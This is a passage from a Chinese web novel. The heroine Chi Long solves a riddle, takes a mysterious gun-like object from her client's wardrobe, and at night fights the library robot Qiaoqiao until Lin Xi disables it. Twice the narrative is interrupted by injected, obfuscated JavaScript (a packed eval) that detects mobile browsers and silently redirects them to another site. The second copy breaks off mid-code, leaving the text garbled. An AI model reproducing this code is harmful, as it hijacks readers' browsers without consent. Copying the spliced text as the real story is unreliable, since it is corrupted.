刷地一下坐起来,池泷拍拍自己的脑袋。 看着墙上的光斑随着时间一点点下移,渐渐落到镜子上方,直到铺满整个镜面。 镜面反射的光线穿过四根床柱,在对面的墙壁上留下一行字:“站在顶点,俯望起点,找到光点,原是中点。” “不打哑谜的话,乔城人就不会说话吗?”饥肠辘辘的池泷吐槽。 站起身,她看了看光脑,11:30AM。 任何事都等吃完饭再说吧。 回到娑利姌家时,屋子里空无一人。 娑利姌应该是像往常一样早早回了车站,餐桌上放着一张林息留下的字条,写着郝警官给她在保温机中留了中饭,他要去图书馆。 意料之外他的入乡随俗,明明有彼此的光脑号,还是用纸笔留下字条。 字体隽秀清逸、排列齐整,林息应该是练习过书法。 在这个电子通讯异常发达普遍的年代,居然还有人会练习写字。 拿着纸条看了一会儿,感慨了一遍“字如其人”,池泷才嘿嘿一声,想着“果然他总是有些奇妙的特立独行”,顺手把纸条折好,揣进了口袋。 吃过饭,池泷依旧背包出门,路上她想起自己离开市长府后,特意去找了这间卧室的位置,意外发现不知道用了怎样的材料,能透光映景的窗户从外面看竟然是墙壁! 她还用手碰了碰窗户的位置,甚至连手感也和泥砖一样。 也就是说,如果没有那扇门,任何人都无法发现这间卧室的存在。 当然,池泷离开前也确认了一下老人言语的真实性,左边那扇门确实无法打开,池泷捣鼓了很久,才发现门锁上甚至没有锁孔,因为没有近距离观察过,所以她不知道是不是一开始就没有。 这件事越来越扑朔了,池泷心中燃起了巨大的好奇心,到底是什么样的事,要被这样层层保护着? 熊熊的跃跃欲试,连若有似无得警戒感也被故意忽略了。 石块缝隙中长着短小的草苗,钟楼的门上也挂了一把铜锁,用手轻轻一拨,锁就开了。 进门便看到一道木质旋转阶梯,梯底堆放着许多鼓鼓囊囊摞好的麻袋。沿着阶梯转上去,没一会儿就到了顶楼,果不其然,可以俯瞰整个乔城。 顶点很容易就能猜到了,毕竟乔城没有比这座钟楼更高的地方了,从楼顶眺望,亮点也很容易看到,因为乔城唯一亮晶晶的地方就是图书馆。 那么起点是哪里呢? 池泷沿着顶楼转了一圈,从图书馆慢慢看去,大多数是各式各样的居民楼,池泷一眼就认出了娑利姌的家,因为那附近的居民楼顶唯有她家是木质屋顶。 俯瞰乔城,景色不算优美,胜在干净整齐,植被环绕人居,各路设施齐全,又利落又温馨,那位央星来的埃德尔先生真的很用心地在重建这里。 城中的居民区小簇小簇地聚集,池泷意外发现娑利姌家是所有居民楼里离车站最近的。 想起那座漂亮温馨的小屋,池泷忍不住勾起嘴角,她对这种“落后的生活”适应速度很快,甚至有种快要遗忘的熟悉和怀念,一个周已经过去,想到自己刚来时候的局促,她又笑了笑。 眼神沿着自己最近去过的地方一路看去,车站、木屋、图书馆、市长府…… 突然,池泷神色一凛。 娑利姌家似乎正好位于钟楼、车站、图书馆构成的三角形中心…… 也是,月轨对乔城意义非凡,它的主要目的就是修建交通道,车站是乔城月轨的起点倒也没错。 皱起眉头,池泷心中的火苗一下子熄灭了许多,为什么兜兜转转又回到了委托人身上? 据她所知,钟楼是星际44年那场事故以后由米斯·埃德尔修建的,所以市长府的谜语是在修好钟楼后才被设置的。那么,这件被层层隐藏的事,那位央星来的建筑师也参与其中了? 委托人是娑利姌,自己和林息一直住在娑利姌家,现在“中点”又再次指向她家,这一切是巧合吗? 这一时六神无主,池泷只是稀里糊涂地往钟楼外走去。 探索如同当头棒喝,让她开始正视一些事情: 比如,郝警官是警察,无论乔城再怎么封闭,帮市民发布一个委托还是可以的。想到那位热情好客、辛苦工作的叔叔,池泷有点不愿去想,为什么那样好心的郝警官会连照顾多年的阿姨的委托内容都不知道? 比如,车站的工作人员更换频繁,却说有许多人都来做过委托,结合郝警官的说法,为什么来的人就呆了几天,最后却悄无声息地离开了? 比如,为什么自己是唯一知道委托内容的人? 最后,“乔丽”是什么?跟这些有什么关系? 各种思绪织成了一张大网,让池泷甚至觉得有些呼吸困难。 回过神来,她已经到了娑利姌家门口,没感知到崖柏味道,进门没发现有人。 也是,这个点儿娑利姌应该还在车站,她看了看光脑,林息回复任何消息。 明明看过很多遍的场景,竟莫名多了一丝陌生感,池泷站在门口,右脚局促地在地毯上搓了搓。 环顾四周,客厅、厨房、餐厅、客房,每一处她都有打扫清理过,如果有什么不对劲的地方或者暗室之类的,自己应该会有所察觉。 池泷苦笑了一下,最终走进了娑利姌的房间。 好在娑利姌房间的布局其实也和自己居住的客房差不多,池泷翻找了一下床铺,床架是实木做成,摸了摸应该没有什么暗格机关。 然后是衣柜,娑利姌衣柜里衣服很少,挂着她常穿的几件裙子。池泷将底部隔板上的衣服拿开,挨处敲了敲,果然在右上角听见不同的声音。 她心下一动,不知是激动还是害怕。搓搓手指,缓缓拿出随身携带的小刀将木板撬开,里面是一个紫色木盒,盒子顶端有乔城的城徽。 “就是它。”不知为什么,池泷心中一下子有了这样的认定。 将盒子全部拿出,池泷才发现它异常精致。花草浮雕周身,卡扣刻成弯月,在手中的份量不轻,可能因为很久都没人打开过,盒面上有一层薄灰和浮毛。 打开盒子,黄金色软绵托着一把枪形状的奇怪物什,通体黝黑发亮,入手轻省,随便什么人都能拿到起来。但不同的是,保险所在的位置,也就是握把和“枪管”的交界处顶端,有一枚透明的球形晶体。 很眼熟,将东西拿在手里,池泷翻来覆去地看,就像城徽中间的那把黑色手枪。 犹豫了一下,虽然知道偷东西不对,可池泷最终还是将它匆匆放进自己的包里,盒子直接擦净放回,一定程度上,仿佛自己不曾来过。 在厨房做了一份简单的三明治,池泷将它和包一起拿回了房间,边吃边观察。 没有弹匣,握把和枪管呈“L”形。枪管顶端封口,用于封口的材料似乎也是一种晶体,呈黑色。最后就是那枚球形晶体,大概有鹌鹑蛋大小。池泷扣动扳机,什么也没发生。 拿出光脑,出于谨慎,池泷并未选择图像搜索,变换了好几个关键字,搜出来的东西都不尽人意。 这个东西和市长府邸有什么关系?为什么又藏在娑利姌手里? 从刚才起,脑海中就陆续被塞进许多疑问,池泷只觉得它们处处有联系,却找不到任何关联,自己仿佛处在一团迷雾之中,无所适从。 她闭上眼睛,将今天的事情从头过了一遍, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14564906|155610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结果心中却愈加乱七八糟,警告和好奇、发现和委托、理想和猫腻,复杂地交织在一起,情不自禁握紧手掌,却传来不能忽视的感觉。 这件无论星网还是图书馆都没有被记载的东西,此刻被自己真实地握在手里。 再次睁开眼,池泷抄起三明治,机械地塞进嘴里,味同嚼蜡。 “解铃还须系铃人,去趟养老院吧。”池泷无奈想道。 吃完再再次背上包,没多做休息,池泷急急赶往养老院。 然后就被关在门外。 对,就是关在门外。养老院内部被反锁,池泷敲了很久的门也没人应声,从旁边的窗户往里看,只有空荡的大厅,没有一个人。 知道老人家们大多夜出昼伏,但也不至于睡得如此深沉吧。而且自己要找的那位,不是拄拐都要出门到处溜达吗? 突然窗边快速闪过一个黑影,池泷赶忙敲窗,大声说道:“你好,我想来拜访一下,”她又想了想,说:“我认识你们其中的一个人,但我不知道他叫什么名,他拄着拐杖,比较瘦……” 还没说完,就被里面的人打断,一个低沉沙哑的声音说:“走开!” 池泷皱眉,张嘴准备再说点儿什么,里面的人接着说:“赶紧走开,外乡人!”听上去十分不耐。 可恶的地域排斥!池泷“啧”了一声,倒也理解老人们的痛处,但她也总不能说“我知道你们长什么样子不要害怕我不会伤害你们”吧。 但既然都知道自己是外乡人了,应该是见过或者听说过自己的吧,毕竟一年到头来乔城的外乡人能有几个呢,那位拄拐老人没回来聊一下自己吗?自己也没干啥,就不能网开一面嘛。 从窗口看见穿着黑色卫衣、兜帽落下挡住脸的人离开门口往里面走去,池泷只能悻悻离开,决定改日再来。 但能问谁呢,池泷思考了一下,突然想起一个人,好吧,或许不是人,但乔乔年纪也不小,万一它有印象呢。 转身往图书馆走去,走了一会儿,池泷忍不住回头再看一眼养老院,日头西斜,夕阳撒在这栋看上去就比普通民居大一点儿的双层建筑上,更加深了窗户里透出的阴暗。 到了图书馆,林息竟然还在这里,正在二楼看着什么书。 听见脚步声,他抬起头来,便看见池泷露着一口大白牙冲他招手,图书馆的小机器人在她身边转来转去,于是他也冲她摆摆手。 “在这儿看书呢,”池泷稍微提气说了一句,声音在图书馆里轻轻回荡了几秒,她有点尴尬,因为平时也没人说话,没想到只不过轻轻用了点力,声音就会这么大。 林息点点头,他原以为这人会因为昨晚的事,在看到自己的时候还会尴尬一会儿,结果这么快就像什么也没发生过一样打招呼了,仿佛根本不在意昨晚的事,这个认知让他有点不爽。 而楼下的池泷看着林息平静的脸,突然心里一阵发寒,说真的,她觉得林息看上去好像有点生气,眨眨眼,她又觉得是自己的错觉,明明没什么表情。 不过好看的人就是不管怎样都好看,连生气也很好看。 突发奇想,池泷看着他,不禁问道:“我能不能给你拍个照片啊?” 林息明显有些怔愣,她又很快就后悔自己为什么要多嘴,本质上他俩还是认识三天的陌生人而已。而且自己也不知道为什么突然就要给他拍照啊! 她快速思考如何补救,却看到二楼的人轻轻绽开笑颜,说了句:“好啊。”接着从楼上缓缓走下,他的眼神似乎锁定在池泷身上,可一细看,那眼神似乎只是在看下楼的路。 这下轮到池泷怔愣了,纯白芍药轻轻一点摇曳,就美丽生姿。 直到被不满的乔乔撞了一下,池泷才回神,不用想也知道自己脸红了,顶着发热的脸,她先摸摸乔乔的头打声招呼,然后拿出光脑。 明明自己昨天以前一直觉得林息高不可攀,冷冷逼人,怎么今天再看,感觉他比以前又好看了不少。 她举着光脑有些荒唐地想,他真的是她见过最好看的人,哪怕透过会让人变形的照相机。 但池泷知道!尹霄说,给男朋友拍照不能站着拍,显得腿短,最好蹲下找一个好的角度。当然,她不是说林息是男朋友,只是想给他拍好看点。 蹲下往后退了退,找了个她认为好看的角度,高挑的身姿,清冷的气质,自然垂落的手臂修长唯美,手指只见粉嫩,琥珀色的眸子有淡淡微光,哪怕此刻戴着伪装,波光下浅蓝柔顺的发丝泛着淡淡水纹,衬得他就像一只在水下生活的精灵。 很满意,至少池泷很满意,她眯起眼睛欣赏着自己的杰作,有点沾沾自喜。 而林息则看着她蹲在地上对着光脑傻笑,像一只偷到灯油的大耗子。在她看不到的地方,他轻轻勾起嘴角,琥珀凝聚,深沉暗涌。 准备把照片递给林息,池泷恋恋不舍地准备看上最后一眼,突然她怔了一下,照片中,图书馆玻璃折射的波光撒在林息身上,他仿佛正置身水下。 池泷吸了一口凉气,林息疑惑转头,浅蓝发丝好像正在水中浮动,很漂亮。 “美色也不一定误人啊。”池泷超级小声地感慨道,她将照片拿过去,只一眼,林息就明白了她的意思。 “在哪儿?”两人环顾四周,最终池泷的眼神定格在一处。 那只监控着一切的眼睛,或许能看到什么。 9. 第 9 章 在这里矗立了40多年的“眼睛”,虽然没办法将每一位来客的反应都告诉那位有趣却早逝的建筑师,但日月更迭,也应该见证过这里不少的新来旧往。 围着喷泉转了一圈,池泷一直盯着雕塑的中心,却没看见什么能够引人注意的场景或者意有所指的物品。 摸着下巴,池泷陷入思考,乔乔围着她转来转去,偶尔擦过她的大腿,不疼却存在感极强,像一只不安分的小狗。 “你看不到?”没一会儿,林息发出奇怪的询问。 “看见什么?”池泷不解地回复,林息此刻正站在喷泉靠近门口的那面,正抬头看着那座眼睛雕塑。 于是池泷走了过去,在他旁边站定,可眼前是被雕塑割裂得七零八落的书架场景,依旧没什么让人注意的地方。 “呵……”林息的轻笑声听起来似乎饱含叹息,他伸手做了个下摁的手势。 池泷明白过来,将腿稍稍弯曲下蹲,再次抬头时,那座眼睛形状的雕塑正好占据了她眼前全部的画面,眼睛最中心的瞳孔正对着的地方,是一楼的一座书架。 “……” 所以说,长得高也不一定是优势不是吗? 虽然先发现的人是林息,可他似乎没有要动身的意思。 所以池泷独自走到书架跟前,这里放着的是猎奇类书籍,但数量极少,池泷看了看,唯一一本跟水有关的书,名字叫《井中人》。 【前一段时间池泷读过这个故事,讲的是一个村庄的井中总会时不时漂着一具溺毙的村民尸体,人心惶惶,村民为此做了许多措施,却毫无作用。 虽然大家都害怕这口水井,可它却是村中唯一的水源,人们不得不硬着头皮前来打水。 渐渐地,各种流言在村中传开,有人说那些死去的村民都是因为做了坏事被惩罚,有人说他亲眼所见溺毙的某某某确实偷过东西…… 流言越来越多,传的范围也越来越广,死去的村民却也越来越多,然后流言再次越来越多、越传越广,村民也越来越少,周而复始。 直到一个小alpha,禁不住好奇心,无视大人的警告,在某天晚上偷跑出来,趴在井边。 井面上映着一轮圆白的月亮,轻轻化作一张美丽、和蔼的脸。 “小孩,你有没有想要的东西?” 单纯的孩童瞧着那张亲和的脸,有些奇怪:“我想要知道大人为什么那样怕你。” “唉,”美丽的脸流露出一股无法抹去的忧郁,“有一只可恶的小鸟,每天都会在我右边的角落,扔下了一块小石,路过的人稍不注意便会失足落水。” “可别人都说是因为那些人做了坏事。”小alpha满脸不解。 “每次我送跌落的人上来,都会在他们的口袋中放一颗水底的小石子。”那张脸溢满悲伤,“可他们被害怕蒙蔽了眼睛,哪怕我将证据放在他们眼前,他们只看得见想看的,只听得到想听的。” “小孩,你能帮忙去告诉他们这件事吗?”漂亮的脸消失,水面开裂,露出水底小小的石堆,“我没有手脚,每天都需要在水底挖好久的石子。作为回报,我会给你你想要的东西。” “好!”小alpha高兴地答应,“但你不需要再多给我什么,你已经解答了我的疑惑,这就是我想要的。”。 刚说完,一只大手将孩子一把扯到了离井边不远的地方,是孩子的omega父亲,他嘴中不断埋怨:“你这孩子怎么这样不听话?说了不让你靠近却偏要过来,你知不知道很危险!” “可我没有做坏事。”alpha小孩不服气。 “你别管!就是会危险!”omega父亲仍旧气急败坏。 “而且……”小孩指指井口,那堆小石子还在那里,“不是……” 孩子还未说完,就被大人一把捂住了嘴,仿佛怕惊动什么一样,二话不说将其拽回了家。 那堆石子仍旧在那里。 第二天,一只小鸟飞过,井里再次出现一位不幸的村民。 小孩因为不听话,被大人关在家里,没有允许,绝对不准出门。 那位omega父亲仍旧在山坡上和同村的人讨论着差点失去孩子的惊险和确幸。】 这其实是一个带有寓言性质的小故事。 此刻,却成为池泷最重要的委托线索。 她刚才看照片时突然想到,阳光照进图书馆,波光粼粼得就像人在水下,而水下正藏着“乔丽”的秘密。 那只眼睛,是艾济的眼睛,也是图书馆的眼睛,艾济要每一个人都瞻仰他的建筑,表现出赞美的表情,所以池泷才会望向眼睛中心。 只不过没想到,需要稍微矮一点,差不多跟omega那样高才行。 当时设计这个雕塑的艾济建筑师,怕是位为数不多的、个子不高的alpha。 现在秘密找到了,池泷看向喷泉,正如故事所讲,水下藏着真相。 因此,“水下”还有水下,也就是她可能必须要下到喷泉底下才能找到“乔丽”。 意外之喜,池泷高兴地想,她就说嘛,各种线索各种调查各种事情,说不定歪打正着就能找到“乔丽”相关的线索。 想到这儿,她不禁抬眼看了看乔乔,不知道从什么时候起,它不再围着自己转圈,而是乖乖地等在老地方。林息也站在一遍,正悠闲地看着那块分类索引台,似乎对刚才的发现毫无兴趣。 但背包里的东西,现在不太合适去询问小机器人。 林息真是自己的福星,要不是垂涎美色、自己突发奇想要给他拍照,可能还不知道要找到什么时候。昨晚他也给提供了重要线索,还主动表示要帮忙,真是个好人!人美心善! 所以池泷找到包里的东西时,犹豫过该不该告诉林息,加上昨晚自己对他有所隐瞒,总觉得好像背叛了“队友”。 可这件东西牵扯到了娑利姌,可能还包藏着和养老院那群老人相关的秘密,这是外界没有任何记录的东西,说不定里面有王室或者贵族的手笔,那自己实在不该再让林息陷进来,毕竟池泷无法确定这会给处在敏感位置的林息带来什么样的影响。 决定了,晚上自己还是再偷偷来一趟吧。 打定主意的池泷随手从书架上抽了一本书,走向喷泉。 “找到东西了?”林息语气随意,听起来更像闲聊而不是询问。 池泷动身时,他的眼神也离开索引台,一边说着一边往二楼走去,找到位置坐下,前面的桌子上还摊着看了一部分的书本。 而池泷看到他上楼,原地攥了下手中的书,也上了二楼,坐在林息旁边,将刚才的发现和推理告诉了他,却没有说自己要晚上再来一趟的打算。 闻言,林息从书中抬头,淡淡的水纹在他脸上漾开,却不显得繁杂难看,反而通透的琥珀颜色将其中和,增添了一丝野性。 他安静地看着池泷,眼神平静无波,好像在等着她的下文,好像就仅仅是在看她。 池泷回望,浓墨浸染通透,不退不让,只是放在书皮上的食指不安地划了两圈。 几秒之后,林息率先眯起眼眸,手中书页翻过,眼神也随之落到书上。 看到这一幕,池泷缓缓、静静、小小地呼了一口气,也开始翻越自己手中的书。 刚才林息的眼神让她心底发毛,幸好自己撑住了!可太厉害了!池泷脑中幻化出两只小手,给自己比了大拇指。 虽然这本随便拿来的猎奇书籍再看一遍会很无聊,但就着崖柏药香味的醒神功效,倒也过得去。 两个人就这样无言阅读,互不打扰。直到下午池泷要去接娑利姌回家。 因为打算夜探图书馆,她想干脆趁此机会把林息也早点带回去。 清了下嗓子,林息抬头望来,池泷轻声说:“往常这个时候我得去车站接奶奶回去,顺带买点菜,你跟我一起呗,我觉得奶奶很喜欢你,”怕林息不答应,她又补了一句,“而且看书看久了对颈椎也不好。” 说完晃晃脖子,林息见此情景,也轻轻扭了扭脖子,好像确实有些不适,随即便答应了。池泷开心起来,帮他把书收走放回原位。 下楼时乔乔没有像往日一样过来马后炮地打招呼,反而站在它经常站的地方远远地看着两人。池泷想了想,今天确实有点冷落了它,就示意林息等一下,她走过去跟乔乔道别。 “走了哇乔乔,今天没有及时跟你打招呼不好意思了呀。”池泷像往常一样摸摸乔乔的头,粗糙触感依旧,但乔乔却迟迟没有回应。 感到奇怪的池泷低头看它,却发现它两只豆豆眼直直盯住林息,连嘴巴线条都消失了。 “乔乔?”池泷用指节轻轻敲了敲它的脑袋,发现对方仿佛被林息勾走了魂儿,半点反应都没。 得亏林息变装了,这要是没变装不得把这些人迷死。池泷了解地点点头,当年她在光脑上乍一见到林息时,跟他们的反应一模一样。 美人在骨,林息的气质和骨相注定了他就算变装也是应该是极具魅力的,只不过外表不符合当下的主流审美,所以一群人整天在网上叽叽喳喳、“寡淡寡淡”地叫着。 没想到小机器人虽然年纪不小,审美却出奇地与时俱进。 于是没再管乔乔,池泷叫上林息一起离开去往车站,果然娑利姌见到林息异常激动,一边“好……好”地嘟囔着,一边扯住林息的衣服就往自己身边拉。 早晨感受过老人家热情的池泷赶忙将自己插在二人中间,扶着娑利姌慢慢往回走,然而到她手里的娑利姌再次变得安静。 说真的,如果不是林息来之前,娑利姌一直都表现得安安静静,这一瞬间她都要怀疑这是一种性别歧视了。 去市场买菜时,池泷对林息有了新印象。 毕竟不管是谁,看到想象中应该不食烟火的人竟然会温温柔柔地一边杀价,一边手挑着新鲜的花椰菜,动作熟练地薅下根部的长叶给老板称重,又让老板匀上一头大蒜,谁都会大跌眼镜。 在老板“你小小一个omega竟然这么厉害”的眼神里,林息提着菜慢慢走回来,看到池泷满脸震惊的样子,他抿起嘴角:“怎么?” “啊,就是,我是说,嗯……”池泷一时回不过神,有种“突然发现我遥不可及的爱豆竟然和我一样喜欢吃一款我能买得起的糖”的小冲击和小欢喜。 但接触到林息凉凉的眼神,她骤然一醒,“没别的意思,就是感觉我有点刻板印象,没想到你会买菜杀价这些,还这么熟练。” 墨黑本应该是世界上最深沉颜色,落在池泷眼中,却让人能一眼看到那份真诚的感慨,没有讽刺、没有奉承,林息目光反而晦涩起来。 “当然,你什么样子都很好。是我眼界不够大,以为像你这样的人,从来不用操心生活的琐事。却没想到你这样接地气,感觉距离一下子近了一些,”池泷目光如水般温柔,“我们以前没什么接触,我对你不算了解,大惊小怪,多有得罪。” 再次接触到池泷的眼神,林息撇过头去,面上的表情让人无法看见。 就在池泷以为自己是不是哪里说的不对时,他却突然来了句:“这很简单的,我还会别的杀价技巧呢,”顿了顿,又补上一句,“各种场合、各类谈判都会。” “哇!”池泷笑得更加开心了,本以为林息不会回应自己,这种没营养的家常对话对到此为止,去没想到他还接了下去,一时间她更觉得惊喜。 诚然,林息口中的技巧,应该是他从小混迹于贵族圈子中得到的宝贵经验,尽管池泷好奇又钦佩,可她也从尹霄口中听说过林息平日里就很忙,两人又算不上很熟。 于是开玩笑道:“但你这样优秀的老师,学费一定不便宜,可惜我手里不存钱,不然一定交上学费、刻苦学习。” 这下林息终于将头转了过来,接触到的确是坦荡的目光,他一愣,意识到这个人虽然嘴上说着玩笑话,可却是真的想学自己这些在父亲口中“上不得台面”的技能,心里一阵细小的暖流涌过,琥珀深处金光点点,通透灿烂。 “回家吧。”扶上娑利姌,池泷错过了林息的目光。 夕阳下,三人的影子拉长交叠,从远处看去,好似真的密不可分。 三人回了家,依旧是池泷负责做饭,林息则在厨房给她打下手,手法仍旧熟练,仿佛做过很多次,池泷笑着说:“你不会还可以做饭呢吧。” “我会,”手上的活计没停下,林息抿抿唇,“味道还不错。” 这下轮到池泷震惊了,要知道她和白簇、尹霄他们刚认识的时候,那俩人连削苹果都费劲! 可能是因为震惊而不自觉地吐露了心声,林息盯着菜板,声音虽然有些小却也回复:“我也会削苹果,还能变化这种形状,花朵、兔子什么的。” 同时,修长的手指持刀,将蔬菜切成大小均匀的形状,嗒嗒嗒地声音快速且富有节奏。 “成绩优秀就算了,生活技能也点满,像我这样的人还活不活了。”池泷摇摇头感慨。 哒哒声顿了两秒,随即再次轻快响起。 感慨完池泷就回头去专心做饭,林息偷偷看向她的背影,眼中明暗交错,复杂一片。 接下来就像往常一样,平静的四人晚饭,各自回房洗漱休息,标记昨晚做过了,因此今晚林息回到了自己的房间。 鸡困狗眠夜,偷摸办事时。 背上装着“不解之谜”的背包,池泷小心翼翼从房间的窗户一跃而下,虽是避人行动,可今晚月光却正好亮堂堂,她一路屏气凝神、撒腿狂奔,没一阵儿就到了图书馆。 没想到半夜的图书馆依旧灯火闪烁,池泷有些吃惊,随即想到说不定是养老院的老人家们正在维护书本,脑海中闪过那个拄拐的身影。 琢磨着万一真的遇到了,正好可以问些什么,池泷步履轻快地进到馆内,但和她料想的不一样,整个图书馆内只有一个乖乖站岗的乔乔。 她失望地“啊”了一句,然后听到熟悉的招呼声:“欢迎来到乔城图书馆,我是你的讲解员乔乔,啊!池泷你来啦。” 好在美色迷眼的乔乔终于恢复了正常。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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池泷快速观察,发现它躯干两侧各多了一条凹进去的空痕,估计是从那里分裂出来的,一端连着身体,另一端极为尖锐,两条胳膊在灯光下反射出一阵寒光,不知道是什么材料做的,坚硬到能在地面上留下那么深的攻击伤痕。 此刻乔乔的脸也变了,数码屏上只有两个红点,平日里可爱的机械音此时夹杂着恼人的电流声,冷酷地重复:“入……侵者……入侵……者”。 一击未中,另击再起。 因为小机器人本来就低空悬浮,所以攻击时它的身形更加灵活多变,完全不像是用了几十年的老旧样子,每一次高速移动,尚余残影,下一秒却会出现在另外的地方。 攻速极快,准头上佳。池泷只有集中精神才能看清它的攻击路径。出手时带着“咻—咻—”的风声,刚开始趁池泷不备,刮过她的脸旁,留下一条血痕。 “嘶……”池泷疼得吸气,她不是不能将其制服,熟悉了攻击方式和路径后,应对的办法也有很多。 但是在馆里看书的日子里,都是这个小家伙陪着她,虽然关怀经常是马后炮、型号落后连说话都说不清楚,可粗糙的小脑袋和甜甜的打招呼,让池泷想找到一个比较好的处理办法。 她苦笑,难道就是因为想看看它经常站着不动那处的池壁,就会触发它这么不留情面的安防模式吗? 只能被动躲避,池泷身上被划了许多道血痕,“再这样下去不是办法,”她快速闪躲间加快思考,“时间紧迫,而且再这样下去,我只有被消耗杀死的份儿。” 光下的小机器人如同一把磨好的匕首,浑身锋芒涌现,只有那个粗糙的脑袋和平日里看着差不多。趁它再次攻来时,池泷灵活避开乔乔的“双手”,手臂如同游蛇一般,直接抓住它的头,一如既往的手感。 池泷将其面部朝下,直接按压在地面上,然后一屁股坐了上去,趁它反手攻击时用腿脚卸力一带,胳膊直接穿透地面被卡死。 脑瓜还是不换为好,要是真滑溜了自己还抓不住它呢。坐在乔乔身上的池泷想道。 小机器人不停抖动身躯,想要将手拔出来。感受到身下的挣扎一直剧烈,池泷沉下气息,双腿施力压住。 随即对它上下其手,到处抠抠摸摸,结果发现它全身没有什么按钮开关,无法手动关闭。而且据她观察,乔乔身体和胳膊的材料十分坚硬,自己的拳头怕是不能硬抗,只有在灯下不发光的脑袋可能材料不同,现更加在确定了,和她猜想的一样,脑袋用了一般的防锈金属,一拳就能搞定。 打碎它脑袋?池泷再次苦笑,尽管对机械不是很了解,可她也知道基本知识,大多数机器人的芯片,相当于它们的大脑,和人一样位于头部。万一把芯片弄碎了,那乔乔也就不复存在了。 而且,她的机械原理是打小抄补考的,不知道为什么,明明是机甲师,可池泷在机械研究这方面,没有什么天赋,她可以和机甲人机合一,却难以明白它更新修理的原理。 所以,自己真的很有可能会弄死乔乔。想到这,池泷整个人都不好了。 就在她要炸毛的时候,突然听到身后传来脚步声,池泷身形一顿,倒没什么危机感,只是皱眉觉得奇怪,这么晚还有谁能出来? 崖柏香气如同安魂曲般自身后缓缓流淌而来,于是她又坐在原地不动了,细看身形还有点僵硬。 身后的人快步走到她身边,估计是看着她像踩到电门般滑稽地坐在乔乔身上抖动,她听到了林息的轻笑,窸窸窣窣后,应该是掏出了什么东西,接着“咔嚓”声响起,像按动快门的声音。 能不能先把她解救出来再拍照留念,池泷一脸无语,闪光灯的出现让她确信林息真的在拍照,而且还特地调出了光脑的快门声,极具嘲笑意味。 “怎么不说话?是不想说吗?”只闻其声,声音开玩笑也依旧好听。 嗓音就像夏日里的泠泠清泉,此刻却让池泷有点热燥,她张开嘴,小心地出声:“我~~哦~~哦~~” 剧烈的抖动带来不可抗的颤音。 气死了!池泷绝望地闭眼,果不其然身后的人笑出声,或许是出于体贴,他仍旧选择了轻笑。 满脸无奈,池泷转头看向林息,乌眸里传达的信息坚定且明显:“救命。” 对方嘴角正噙着笑意,好整以暇地对视了几秒,才将光脑放回,蹲下用手拨了拨乔乔的脑袋,然后拿出一根细长铁丝一样的工具,从头身连接处伸入拨弄了几下,下一秒乔乔不再挣扎,陷入平静。 以防万一,池泷多坐了几秒,发现身下的小家伙真的不再挣扎了以后,她快速起身面向林息站定,林息已经恢复了平日冷淡的样子。 刚想张嘴,却被林息打断,他指指地上好像睡着的小机器人,说道:“没坏,我只是切断了它的传感器,以后接上还是能用的。” “嗯,”池泷感谢地冲他抱拳,“谢谢。” 这次林息却没回她,冷淡脸上的冷淡眸子就那么冷淡地看着她。 忍不住咽了下口水,她再迟钝也知道林息现在不太高兴,而且最关键的是,她竟然也有种被抓包的心虚。 10. 第 10 章 如果感觉尴尬,不妨先笑一笑。 唇角大勾,然而笑容并没有在这个夏日换得一丝暖意。 于是她躲开他的眼神,像个犯错的孩子,小声接了一句:“反正就是做委托来的。” 林息双臂环抱,下巴朝前一抬,池泷明白,他的意思是:没有我你能搞定这个? “所以多谢了啊,”池泷继续尴尬地笑笑,依旧不敢看他。 “那你继续。”林息也没再纠缠,抱着双臂往旁边一站,似乎要看看她下一步准备要做什么。 这件事原本并不想让林息知道的,可人都在这儿了,还能找什么理由让他离开吗? 而且自己一开始也没想到乔城竟然还会藏着这样与众不同的高科技,要知道乔乔的外表和它的战斗力完全不相符。 万一还有关于这样机械性的问题,似乎林息在这里也不错。毕竟这可是机械系的第一名! 可他毕竟所处位置敏感得很…… 思绪纵然繁杂,身体却不情不愿地起身,池泷像蜗牛一样蠕动到和乔乔发生接触战斗的位置。 因为打斗,喷泉附近多了许多难看的划痕,但愿池壁没有因此受到影响。 她趴下,终于看清,还是一样的藤花纹路,只不过这个地方有朵藤花不太一样,它中心凹陷,不仔细看就很难辨别。 唉……池泷心中默默叹了口气。 这个大小、这个弧度,她的确是见过的。 找到刚才被自己扔出去的背包,池泷拿起它走到林息旁边,看着对方一无所知的样子,她心中无比犹豫,拿包的手紧紧攥着,同林息对峙。 伪装过的脸部依旧没什么特别的表情,抱臂的姿势也始终未变,唯独琥珀色的眼睛深处一片幽光,越发深邃,池泷想,她见过这样的眼神,这种不容拒绝的、耀眼的眼神。 于是她调转目光、艰难开口:“我这里有样东西,它牵扯到一些比较复杂的事情,对你可能不太好。” 双臂放开,手交握一起,林息摆出“洗耳恭听”的姿态。 “我是说真的,”池泷真心劝到,“这个东西可能很危险,因为它关联的某些事不像是普通人能做到的。尤其是现在……所有的事情变成了一个奇怪的闭环。” 委托的路线:木屋——老人——图书馆。 调查的路线:市长府——木屋——图书馆。 还有其他重合的细节,池泷期盼喷泉底下藏着委托的结果,又害怕图书馆底下,隐藏着不安的祸端。 她是不怕的,她就想把自己的委托做完,最好顺带能帮乔城留下点什么。 因为她是普通人,是王室贵族都吝于注目的小市民。高处的人不会在意蝼蚁做什么,但林息不是,他不仅不是,还正好在当下冲突的风口浪尖。 “所以呢”,林息挑眉,“你觉得你自己就可以,而我就不行。以身犯险的人怎么好意思教训别人呢?” “我一开始也没想直接来这儿的……”声音越说越小,这不是时间不合适,没法去养老院么,“而且也没想教训你啊……” 